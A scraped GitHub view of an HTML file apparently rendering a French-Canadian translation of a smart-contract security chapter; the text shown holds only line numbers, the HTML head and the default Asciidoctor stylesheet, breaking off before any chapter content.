-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
for_use_ethereumbook_09smart-contracts-securitytxt_fr_CA.html
2449 lines (2330 loc) · 182 KB
/
for_use_ethereumbook_09smart-contracts-securitytxt_fr_CA.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="Asciidoctor 2.0.17">
<title>Sécurité des contrats intelligents</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:300,300italic,400,400italic,600,600italic%7CNoto+Serif:400,400italic,700,700italic%7CDroid+Sans+Mono:400,700">
<style>
/*! Asciidoctor default stylesheet | MIT License | https://asciidoctor.org */
/* Uncomment the following line when using as a custom stylesheet */
/* @import "https://fonts.googleapis.com/css?family=Open+Sans:300,300italic,400,400italic,600,600italic%7CNoto+Serif:400,400italic,700,700italic%7CDroid+Sans+Mono:400,700"; */
html{font-family:sans-serif;-webkit-text-size-adjust:100%}
a{background:none}
a:focus{outline:thin dotted}
a:active,a:hover{outline:0}
h1{font-size:2em;margin:.67em 0}
b,strong{font-weight:bold}
abbr{font-size:.9em}
abbr[title]{cursor:help;border-bottom:1px dotted #dddddf;text-decoration:none}
dfn{font-style:italic}
hr{height:0}
mark{background:#ff0;color:#000}
code,kbd,pre,samp{font-family:monospace;font-size:1em}
pre{white-space:pre-wrap}
q{quotes:"\201C" "\201D" "\2018" "\2019"}
small{font-size:80%}
sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}
sup{top:-.5em}
sub{bottom:-.25em}
img{border:0}
svg:not(:root){overflow:hidden}
figure{margin:0}
audio,video{display:inline-block}
audio:not([controls]){display:none;height:0}
fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}
legend{border:0;padding:0}
button,input,select,textarea{font-family:inherit;font-size:100%;margin:0}
button,input{line-height:normal}
button,select{text-transform:none}
button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}
button[disabled],html input[disabled]{cursor:default}
input[type=checkbox],input[type=radio]{padding:0}
button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}
textarea{overflow:auto;vertical-align:top}
table{border-collapse:collapse;border-spacing:0}
*,::before,::after{box-sizing:border-box}
html,body{font-size:100%}
body{background:#fff;color:rgba(0,0,0,.8);padding:0;margin:0;font-family:"Noto Serif","DejaVu Serif",serif;line-height:1;position:relative;cursor:auto;-moz-tab-size:4;-o-tab-size:4;tab-size:4;word-wrap:anywhere;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}
a:hover{cursor:pointer}
img,object,embed{max-width:100%;height:auto}
object,embed{height:100%}
img{-ms-interpolation-mode:bicubic}
.left{float:left!important}
.right{float:right!important}
.text-left{text-align:left!important}
.text-right{text-align:right!important}
.text-center{text-align:center!important}
.text-justify{text-align:justify!important}
.hide{display:none}
img,object,svg{display:inline-block;vertical-align:middle}
textarea{height:auto;min-height:50px}
select{width:100%}
.subheader,.admonitionblock td.content>.title,.audioblock>.title,.exampleblock>.title,.imageblock>.title,.listingblock>.title,.literalblock>.title,.stemblock>.title,.openblock>.title,.paragraph>.title,.quoteblock>.title,table.tableblock>.title,.verseblock>.title,.videoblock>.title,.dlist>.title,.olist>.title,.ulist>.title,.qlist>.title,.hdlist>.title{line-height:1.45;color:#7a2518;font-weight:400;margin-top:0;margin-bottom:.25em}
div,dl,dt,dd,ul,ol,li,h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6,pre,form,p,blockquote,th,td{margin:0;padding:0}
a{color:#2156a5;text-decoration:underline;line-height:inherit}
a:hover,a:focus{color:#1d4b8f}
a img{border:0}
p{line-height:1.6;margin-bottom:1.25em;text-rendering:optimizeLegibility}
p aside{font-size:.875em;line-height:1.35;font-style:italic}
h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{font-family:"Open Sans","DejaVu Sans",sans-serif;font-weight:300;font-style:normal;color:#ba3925;text-rendering:optimizeLegibility;margin-top:1em;margin-bottom:.5em;line-height:1.0125em}
h1 small,h2 small,h3 small,#toctitle small,.sidebarblock>.content>.title small,h4 small,h5 small,h6 small{font-size:60%;color:#e99b8f;line-height:0}
h1{font-size:2.125em}
h2{font-size:1.6875em}
h3,#toctitle,.sidebarblock>.content>.title{font-size:1.375em}
h4,h5{font-size:1.125em}
h6{font-size:1em}
hr{border:solid #dddddf;border-width:1px 0 0;clear:both;margin:1.25em 0 1.1875em}
em,i{font-style:italic;line-height:inherit}
strong,b{font-weight:bold;line-height:inherit}
small{font-size:60%;line-height:inherit}
code{font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;font-weight:400;color:rgba(0,0,0,.9)}
ul,ol,dl{line-height:1.6;margin-bottom:1.25em;list-style-position:outside;font-family:inherit}
ul,ol{margin-left:1.5em}
ul li ul,ul li ol{margin-left:1.25em;margin-bottom:0}
ul.square li ul,ul.circle li ul,ul.disc li ul{list-style:inherit}
ul.square{list-style-type:square}
ul.circle{list-style-type:circle}
ul.disc{list-style-type:disc}
ol li ul,ol li ol{margin-left:1.25em;margin-bottom:0}
dl dt{margin-bottom:.3125em;font-weight:bold}
dl dd{margin-bottom:1.25em}
blockquote{margin:0 0 1.25em;padding:.5625em 1.25em 0 1.1875em;border-left:1px solid #ddd}
blockquote,blockquote p{line-height:1.6;color:rgba(0,0,0,.85)}
@media screen and (min-width:768px){h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{line-height:1.2}
h1{font-size:2.75em}
h2{font-size:2.3125em}
h3,#toctitle,.sidebarblock>.content>.title{font-size:1.6875em}
h4{font-size:1.4375em}}
table{background:#fff;margin-bottom:1.25em;border:1px solid #dedede;word-wrap:normal}
table thead,table tfoot{background:#f7f8f7}
table thead tr th,table thead tr td,table tfoot tr th,table tfoot tr td{padding:.5em .625em .625em;font-size:inherit;color:rgba(0,0,0,.8);text-align:left}
table tr th,table tr td{padding:.5625em .625em;font-size:inherit;color:rgba(0,0,0,.8)}
table tr.even,table tr.alt{background:#f8f8f7}
table thead tr th,table tfoot tr th,table tbody tr td,table tr td,table tfoot tr td{line-height:1.6}
h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{line-height:1.2;word-spacing:-.05em}
h1 strong,h2 strong,h3 strong,#toctitle strong,.sidebarblock>.content>.title strong,h4 strong,h5 strong,h6 strong{font-weight:400}
.center{margin-left:auto;margin-right:auto}
.stretch{width:100%}
.clearfix::before,.clearfix::after,.float-group::before,.float-group::after{content:" ";display:table}
.clearfix::after,.float-group::after{clear:both}
:not(pre).nobreak{word-wrap:normal}
:not(pre).nowrap{white-space:nowrap}
:not(pre).pre-wrap{white-space:pre-wrap}
:not(pre):not([class^=L])>code{font-size:.9375em;font-style:normal!important;letter-spacing:0;padding:.1em .5ex;word-spacing:-.15em;background:#f7f7f8;border-radius:4px;line-height:1.45;text-rendering:optimizeSpeed}
pre{color:rgba(0,0,0,.9);font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;line-height:1.45;text-rendering:optimizeSpeed}
pre code,pre pre{color:inherit;font-size:inherit;line-height:inherit}
pre>code{display:block}
pre.nowrap,pre.nowrap pre{white-space:pre;word-wrap:normal}
em em{font-style:normal}
strong strong{font-weight:400}
.keyseq{color:rgba(51,51,51,.8)}
kbd{font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;display:inline-block;color:rgba(0,0,0,.8);font-size:.65em;line-height:1.45;background:#f7f7f7;border:1px solid #ccc;border-radius:3px;box-shadow:0 1px 0 rgba(0,0,0,.2),inset 0 0 0 .1em #fff;margin:0 .15em;padding:.2em .5em;vertical-align:middle;position:relative;top:-.1em;white-space:nowrap}
.keyseq kbd:first-child{margin-left:0}
.keyseq kbd:last-child{margin-right:0}
.menuseq,.menuref{color:#000}
.menuseq b:not(.caret),.menuref{font-weight:inherit}
.menuseq{word-spacing:-.02em}
.menuseq b.caret{font-size:1.25em;line-height:.8}
.menuseq i.caret{font-weight:bold;text-align:center;width:.45em}
b.button::before,b.button::after{position:relative;top:-1px;font-weight:400}
b.button::before{content:"[";padding:0 3px 0 2px}
b.button::after{content:"]";padding:0 2px 0 3px}
p a>code:hover{color:rgba(0,0,0,.9)}
#header,#content,#footnotes,#footer{width:100%;margin:0 auto;max-width:62.5em;*zoom:1;position:relative;padding-left:.9375em;padding-right:.9375em}
#header::before,#header::after,#content::before,#content::after,#footnotes::before,#footnotes::after,#footer::before,#footer::after{content:" ";display:table}
#header::after,#content::after,#footnotes::after,#footer::after{clear:both}
#content{margin-top:1.25em}
#content::before{content:none}
#header>h1:first-child{color:rgba(0,0,0,.85);margin-top:2.25rem;margin-bottom:0}
#header>h1:first-child+#toc{margin-top:8px;border-top:1px solid #dddddf}
#header>h1:only-child,body.toc2 #header>h1:nth-last-child(2){border-bottom:1px solid #dddddf;padding-bottom:8px}
#header .details{border-bottom:1px solid #dddddf;line-height:1.45;padding-top:.25em;padding-bottom:.25em;padding-left:.25em;color:rgba(0,0,0,.6);display:flex;flex-flow:row wrap}
#header .details span:first-child{margin-left:-.125em}
#header .details span.email a{color:rgba(0,0,0,.85)}
#header .details br{display:none}
#header .details br+span::before{content:"\00a0\2013\00a0"}
#header .details br+span.author::before{content:"\00a0\22c5\00a0";color:rgba(0,0,0,.85)}
#header .details br+span#revremark::before{content:"\00a0|\00a0"}
#header #revnumber{text-transform:capitalize}
#header #revnumber::after{content:"\00a0"}
#content>h1:first-child:not([class]){color:rgba(0,0,0,.85);border-bottom:1px solid #dddddf;padding-bottom:8px;margin-top:0;padding-top:1rem;margin-bottom:1.25rem}
#toc{border-bottom:1px solid #e7e7e9;padding-bottom:.5em}
#toc>ul{margin-left:.125em}
#toc ul.sectlevel0>li>a{font-style:italic}
#toc ul.sectlevel0 ul.sectlevel1{margin:.5em 0}
#toc ul{font-family:"Open Sans","DejaVu Sans",sans-serif;list-style-type:none}
#toc li{line-height:1.3334;margin-top:.3334em}
#toc a{text-decoration:none}
#toc a:active{text-decoration:underline}
#toctitle{color:#7a2518;font-size:1.2em}
@media screen and (min-width:768px){#toctitle{font-size:1.375em}
body.toc2{padding-left:15em;padding-right:0}
#toc.toc2{margin-top:0!important;background:#f8f8f7;position:fixed;width:15em;left:0;top:0;border-right:1px solid #e7e7e9;border-top-width:0!important;border-bottom-width:0!important;z-index:1000;padding:1.25em 1em;height:100%;overflow:auto}
#toc.toc2 #toctitle{margin-top:0;margin-bottom:.8rem;font-size:1.2em}
#toc.toc2>ul{font-size:.9em;margin-bottom:0}
#toc.toc2 ul ul{margin-left:0;padding-left:1em}
#toc.toc2 ul.sectlevel0 ul.sectlevel1{padding-left:0;margin-top:.5em;margin-bottom:.5em}
body.toc2.toc-right{padding-left:0;padding-right:15em}
body.toc2.toc-right #toc.toc2{border-right-width:0;border-left:1px solid #e7e7e9;left:auto;right:0}}
@media screen and (min-width:1280px){body.toc2{padding-left:20em;padding-right:0}
#toc.toc2{width:20em}
#toc.toc2 #toctitle{font-size:1.375em}
#toc.toc2>ul{font-size:.95em}
#toc.toc2 ul ul{padding-left:1.25em}
body.toc2.toc-right{padding-left:0;padding-right:20em}}
#content #toc{border:1px solid #e0e0dc;margin-bottom:1.25em;padding:1.25em;background:#f8f8f7;border-radius:4px}
#content #toc>:first-child{margin-top:0}
#content #toc>:last-child{margin-bottom:0}
#footer{max-width:none;background:rgba(0,0,0,.8);padding:1.25em}
#footer-text{color:hsla(0,0%,100%,.8);line-height:1.44}
#content{margin-bottom:.625em}
.sect1{padding-bottom:.625em}
@media screen and (min-width:768px){#content{margin-bottom:1.25em}
.sect1{padding-bottom:1.25em}}
.sect1:last-child{padding-bottom:0}
.sect1+.sect1{border-top:1px solid #e7e7e9}
#content h1>a.anchor,h2>a.anchor,h3>a.anchor,#toctitle>a.anchor,.sidebarblock>.content>.title>a.anchor,h4>a.anchor,h5>a.anchor,h6>a.anchor{position:absolute;z-index:1001;width:1.5ex;margin-left:-1.5ex;display:block;text-decoration:none!important;visibility:hidden;text-align:center;font-weight:400}
#content h1>a.anchor::before,h2>a.anchor::before,h3>a.anchor::before,#toctitle>a.anchor::before,.sidebarblock>.content>.title>a.anchor::before,h4>a.anchor::before,h5>a.anchor::before,h6>a.anchor::before{content:"\00A7";font-size:.85em;display:block;padding-top:.1em}
#content h1:hover>a.anchor,#content h1>a.anchor:hover,h2:hover>a.anchor,h2>a.anchor:hover,h3:hover>a.anchor,#toctitle:hover>a.anchor,.sidebarblock>.content>.title:hover>a.anchor,h3>a.anchor:hover,#toctitle>a.anchor:hover,.sidebarblock>.content>.title>a.anchor:hover,h4:hover>a.anchor,h4>a.anchor:hover,h5:hover>a.anchor,h5>a.anchor:hover,h6:hover>a.anchor,h6>a.anchor:hover{visibility:visible}
#content h1>a.link,h2>a.link,h3>a.link,#toctitle>a.link,.sidebarblock>.content>.title>a.link,h4>a.link,h5>a.link,h6>a.link{color:#ba3925;text-decoration:none}
#content h1>a.link:hover,h2>a.link:hover,h3>a.link:hover,#toctitle>a.link:hover,.sidebarblock>.content>.title>a.link:hover,h4>a.link:hover,h5>a.link:hover,h6>a.link:hover{color:#a53221}
details,.audioblock,.imageblock,.literalblock,.listingblock,.stemblock,.videoblock{margin-bottom:1.25em}
details{margin-left:1.25rem}
details>summary{cursor:pointer;display:block;position:relative;line-height:1.6;margin-bottom:.625rem;outline:none;-webkit-tap-highlight-color:transparent}
details>summary::-webkit-details-marker{display:none}
details>summary::before{content:"";border:solid transparent;border-left:solid;border-width:.3em 0 .3em .5em;position:absolute;top:.5em;left:-1.25rem;transform:translateX(15%)}
details[open]>summary::before{border:solid transparent;border-top:solid;border-width:.5em .3em 0;transform:translateY(15%)}
details>summary::after{content:"";width:1.25rem;height:1em;position:absolute;top:.3em;left:-1.25rem}
.admonitionblock td.content>.title,.audioblock>.title,.exampleblock>.title,.imageblock>.title,.listingblock>.title,.literalblock>.title,.stemblock>.title,.openblock>.title,.paragraph>.title,.quoteblock>.title,table.tableblock>.title,.verseblock>.title,.videoblock>.title,.dlist>.title,.olist>.title,.ulist>.title,.qlist>.title,.hdlist>.title{text-rendering:optimizeLegibility;text-align:left;font-family:"Noto Serif","DejaVu Serif",serif;font-size:1rem;font-style:italic}
table.tableblock.fit-content>caption.title{white-space:nowrap;width:0}
.paragraph.lead>p,#preamble>.sectionbody>[class=paragraph]:first-of-type p{font-size:1.21875em;line-height:1.6;color:rgba(0,0,0,.85)}
.admonitionblock>table{border-collapse:separate;border:0;background:none;width:100%}
.admonitionblock>table td.icon{text-align:center;width:80px}
.admonitionblock>table td.icon img{max-width:none}
.admonitionblock>table td.icon .title{font-weight:bold;font-family:"Open Sans","DejaVu Sans",sans-serif;text-transform:uppercase}
.admonitionblock>table td.content{padding-left:1.125em;padding-right:1.25em;border-left:1px solid #dddddf;color:rgba(0,0,0,.6);word-wrap:anywhere}
.admonitionblock>table td.content>:last-child>:last-child{margin-bottom:0}
.exampleblock>.content{border:1px solid #e6e6e6;margin-bottom:1.25em;padding:1.25em;background:#fff;border-radius:4px}
.exampleblock>.content>:first-child{margin-top:0}
.exampleblock>.content>:last-child{margin-bottom:0}
.sidebarblock{border:1px solid #dbdbd6;margin-bottom:1.25em;padding:1.25em;background:#f3f3f2;border-radius:4px}
.sidebarblock>:first-child{margin-top:0}
.sidebarblock>:last-child{margin-bottom:0}
.sidebarblock>.content>.title{color:#7a2518;margin-top:0;text-align:center}
.exampleblock>.content>:last-child>:last-child,.exampleblock>.content .olist>ol>li:last-child>:last-child,.exampleblock>.content .ulist>ul>li:last-child>:last-child,.exampleblock>.content .qlist>ol>li:last-child>:last-child,.sidebarblock>.content>:last-child>:last-child,.sidebarblock>.content .olist>ol>li:last-child>:last-child,.sidebarblock>.content .ulist>ul>li:last-child>:last-child,.sidebarblock>.content .qlist>ol>li:last-child>:last-child{margin-bottom:0}
.literalblock pre,.listingblock>.content>pre{border-radius:4px;overflow-x:auto;padding:1em;font-size:.8125em}
@media screen and (min-width:768px){.literalblock pre,.listingblock>.content>pre{font-size:.90625em}}
@media screen and (min-width:1280px){.literalblock pre,.listingblock>.content>pre{font-size:1em}}
.literalblock pre,.listingblock>.content>pre:not(.highlight),.listingblock>.content>pre[class=highlight],.listingblock>.content>pre[class^="highlight "]{background:#f7f7f8}
.literalblock.output pre{color:#f7f7f8;background:rgba(0,0,0,.9)}
.listingblock>.content{position:relative}
.listingblock code[data-lang]::before{display:none;content:attr(data-lang);position:absolute;font-size:.75em;top:.425rem;right:.5rem;line-height:1;text-transform:uppercase;color:inherit;opacity:.5}
.listingblock:hover code[data-lang]::before{display:block}
.listingblock.terminal pre .command::before{content:attr(data-prompt);padding-right:.5em;color:inherit;opacity:.5}
.listingblock.terminal pre .command:not([data-prompt])::before{content:"$"}
.listingblock pre.highlightjs{padding:0}
.listingblock pre.highlightjs>code{padding:1em;border-radius:4px}
.listingblock pre.prettyprint{border-width:0}
.prettyprint{background:#f7f7f8}
pre.prettyprint .linenums{line-height:1.45;margin-left:2em}
pre.prettyprint li{background:none;list-style-type:inherit;padding-left:0}
pre.prettyprint li code[data-lang]::before{opacity:1}
pre.prettyprint li:not(:first-child) code[data-lang]::before{display:none}
table.linenotable{border-collapse:separate;border:0;margin-bottom:0;background:none}
table.linenotable td[class]{color:inherit;vertical-align:top;padding:0;line-height:inherit;white-space:normal}
table.linenotable td.code{padding-left:.75em}
table.linenotable td.linenos,pre.pygments .linenos{border-right:1px solid;opacity:.35;padding-right:.5em;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}
pre.pygments span.linenos{display:inline-block;margin-right:.75em}
.quoteblock{margin:0 1em 1.25em 1.5em;display:table}
.quoteblock:not(.excerpt)>.title{margin-left:-1.5em;margin-bottom:.75em}
.quoteblock blockquote,.quoteblock p{color:rgba(0,0,0,.85);font-size:1.15rem;line-height:1.75;word-spacing:.1em;letter-spacing:0;font-style:italic;text-align:justify}
.quoteblock blockquote{margin:0;padding:0;border:0}
.quoteblock blockquote::before{content:"\201c";float:left;font-size:2.75em;font-weight:bold;line-height:.6em;margin-left:-.6em;color:#7a2518;text-shadow:0 1px 2px rgba(0,0,0,.1)}
.quoteblock blockquote>.paragraph:last-child p{margin-bottom:0}
.quoteblock .attribution{margin-top:.75em;margin-right:.5ex;text-align:right}
.verseblock{margin:0 1em 1.25em}
.verseblock pre{font-family:"Open Sans","DejaVu Sans",sans-serif;font-size:1.15rem;color:rgba(0,0,0,.85);font-weight:300;text-rendering:optimizeLegibility}
.verseblock pre strong{font-weight:400}
.verseblock .attribution{margin-top:1.25rem;margin-left:.5ex}
.quoteblock .attribution,.verseblock .attribution{font-size:.9375em;line-height:1.45;font-style:italic}
.quoteblock .attribution br,.verseblock .attribution br{display:none}
.quoteblock .attribution cite,.verseblock .attribution cite{display:block;letter-spacing:-.025em;color:rgba(0,0,0,.6)}
.quoteblock.abstract blockquote::before,.quoteblock.excerpt blockquote::before,.quoteblock .quoteblock blockquote::before{display:none}
.quoteblock.abstract blockquote,.quoteblock.abstract p,.quoteblock.excerpt blockquote,.quoteblock.excerpt p,.quoteblock .quoteblock blockquote,.quoteblock .quoteblock p{line-height:1.6;word-spacing:0}
.quoteblock.abstract{margin:0 1em 1.25em;display:block}
.quoteblock.abstract>.title{margin:0 0 .375em;font-size:1.15em;text-align:center}
.quoteblock.excerpt>blockquote,.quoteblock .quoteblock{padding:0 0 .25em 1em;border-left:.25em solid #dddddf}
.quoteblock.excerpt,.quoteblock .quoteblock{margin-left:0}
.quoteblock.excerpt blockquote,.quoteblock.excerpt p,.quoteblock .quoteblock blockquote,.quoteblock .quoteblock p{color:inherit;font-size:1.0625rem}
.quoteblock.excerpt .attribution,.quoteblock .quoteblock .attribution{color:inherit;font-size:.85rem;text-align:left;margin-right:0}
p.tableblock:last-child{margin-bottom:0}
td.tableblock>.content{margin-bottom:1.25em;word-wrap:anywhere}
td.tableblock>.content>:last-child{margin-bottom:-1.25em}
table.tableblock,th.tableblock,td.tableblock{border:0 solid #dedede}
table.grid-all>*>tr>*{border-width:1px}
table.grid-cols>*>tr>*{border-width:0 1px}
table.grid-rows>*>tr>*{border-width:1px 0}
table.frame-all{border-width:1px}
table.frame-ends{border-width:1px 0}
table.frame-sides{border-width:0 1px}
table.frame-none>colgroup+*>:first-child>*,table.frame-sides>colgroup+*>:first-child>*{border-top-width:0}
table.frame-none>:last-child>:last-child>*,table.frame-sides>:last-child>:last-child>*{border-bottom-width:0}
table.frame-none>*>tr>:first-child,table.frame-ends>*>tr>:first-child{border-left-width:0}
table.frame-none>*>tr>:last-child,table.frame-ends>*>tr>:last-child{border-right-width:0}
table.stripes-all>*>tr,table.stripes-odd>*>tr:nth-of-type(odd),table.stripes-even>*>tr:nth-of-type(even),table.stripes-hover>*>tr:hover{background:#f8f8f7}
th.halign-left,td.halign-left{text-align:left}
th.halign-right,td.halign-right{text-align:right}
th.halign-center,td.halign-center{text-align:center}
th.valign-top,td.valign-top{vertical-align:top}
th.valign-bottom,td.valign-bottom{vertical-align:bottom}
th.valign-middle,td.valign-middle{vertical-align:middle}
table thead th,table tfoot th{font-weight:bold}
tbody tr th{background:#f7f8f7}
tbody tr th,tbody tr th p,tfoot tr th,tfoot tr th p{color:rgba(0,0,0,.8);font-weight:bold}
p.tableblock>code:only-child{background:none;padding:0}
p.tableblock{font-size:1em}
ol{margin-left:1.75em}
ul li ol{margin-left:1.5em}
dl dd{margin-left:1.125em}
dl dd:last-child,dl dd:last-child>:last-child{margin-bottom:0}
li p,ul dd,ol dd,.olist .olist,.ulist .ulist,.ulist .olist,.olist .ulist{margin-bottom:.625em}
ul.checklist,ul.none,ol.none,ul.no-bullet,ol.no-bullet,ol.unnumbered,ul.unstyled,ol.unstyled{list-style-type:none}
ul.no-bullet,ol.no-bullet,ol.unnumbered{margin-left:.625em}
ul.unstyled,ol.unstyled{margin-left:0}
li>p:empty:only-child::before{content:"";display:inline-block}
ul.checklist>li>p:first-child{margin-left:-1em}
ul.checklist>li>p:first-child>.fa-square-o:first-child,ul.checklist>li>p:first-child>.fa-check-square-o:first-child{width:1.25em;font-size:.8em;position:relative;bottom:.125em}
ul.checklist>li>p:first-child>input[type=checkbox]:first-child{margin-right:.25em}
ul.inline{display:flex;flex-flow:row wrap;list-style:none;margin:0 0 .625em -1.25em}
ul.inline>li{margin-left:1.25em}
.unstyled dl dt{font-weight:400;font-style:normal}
ol.arabic{list-style-type:decimal}
ol.decimal{list-style-type:decimal-leading-zero}
ol.loweralpha{list-style-type:lower-alpha}
ol.upperalpha{list-style-type:upper-alpha}
ol.lowerroman{list-style-type:lower-roman}
ol.upperroman{list-style-type:upper-roman}
ol.lowergreek{list-style-type:lower-greek}
.hdlist>table,.colist>table{border:0;background:none}
.hdlist>table>tbody>tr,.colist>table>tbody>tr{background:none}
td.hdlist1,td.hdlist2{vertical-align:top;padding:0 .625em}
td.hdlist1{font-weight:bold;padding-bottom:1.25em}
td.hdlist2{word-wrap:anywhere}
.literalblock+.colist,.listingblock+.colist{margin-top:-.5em}
.colist td:not([class]):first-child{padding:.4em .75em 0;line-height:1;vertical-align:top}
.colist td:not([class]):first-child img{max-width:none}
.colist td:not([class]):last-child{padding:.25em 0}
.thumb,.th{line-height:0;display:inline-block;border:4px solid #fff;box-shadow:0 0 0 1px #ddd}
.imageblock.left{margin:.25em .625em 1.25em 0}
.imageblock.right{margin:.25em 0 1.25em .625em}
.imageblock>.title{margin-bottom:0}
.imageblock.thumb,.imageblock.th{border-width:6px}
.imageblock.thumb>.title,.imageblock.th>.title{padding:0 .125em}
.image.left,.image.right{margin-top:.25em;margin-bottom:.25em;display:inline-block;line-height:0}
.image.left{margin-right:.625em}
.image.right{margin-left:.625em}
a.image{text-decoration:none;display:inline-block}
a.image object{pointer-events:none}
sup.footnote,sup.footnoteref{font-size:.875em;position:static;vertical-align:super}
sup.footnote a,sup.footnoteref a{text-decoration:none}
sup.footnote a:active,sup.footnoteref a:active{text-decoration:underline}
#footnotes{padding-top:.75em;padding-bottom:.75em;margin-bottom:.625em}
#footnotes hr{width:20%;min-width:6.25em;margin:-.25em 0 .75em;border-width:1px 0 0}
#footnotes .footnote{padding:0 .375em 0 .225em;line-height:1.3334;font-size:.875em;margin-left:1.2em;margin-bottom:.2em}
#footnotes .footnote a:first-of-type{font-weight:bold;text-decoration:none;margin-left:-1.05em}
#footnotes .footnote:last-of-type{margin-bottom:0}
#content #footnotes{margin-top:-.625em;margin-bottom:0;padding:.75em 0}
div.unbreakable{page-break-inside:avoid}
.big{font-size:larger}
.small{font-size:smaller}
.underline{text-decoration:underline}
.overline{text-decoration:overline}
.line-through{text-decoration:line-through}
.aqua{color:#00bfbf}
.aqua-background{background:#00fafa}
.black{color:#000}
.black-background{background:#000}
.blue{color:#0000bf}
.blue-background{background:#0000fa}
.fuchsia{color:#bf00bf}
.fuchsia-background{background:#fa00fa}
.gray{color:#606060}
.gray-background{background:#7d7d7d}
.green{color:#006000}
.green-background{background:#007d00}
.lime{color:#00bf00}
.lime-background{background:#00fa00}
.maroon{color:#600000}
.maroon-background{background:#7d0000}
.navy{color:#000060}
.navy-background{background:#00007d}
.olive{color:#606000}
.olive-background{background:#7d7d00}
.purple{color:#600060}
.purple-background{background:#7d007d}
.red{color:#bf0000}
.red-background{background:#fa0000}
.silver{color:#909090}
.silver-background{background:#bcbcbc}
.teal{color:#006060}
.teal-background{background:#007d7d}
.white{color:#bfbfbf}
.white-background{background:#fafafa}
.yellow{color:#bfbf00}
.yellow-background{background:#fafa00}
span.icon>.fa{cursor:default}
a span.icon>.fa{cursor:inherit}
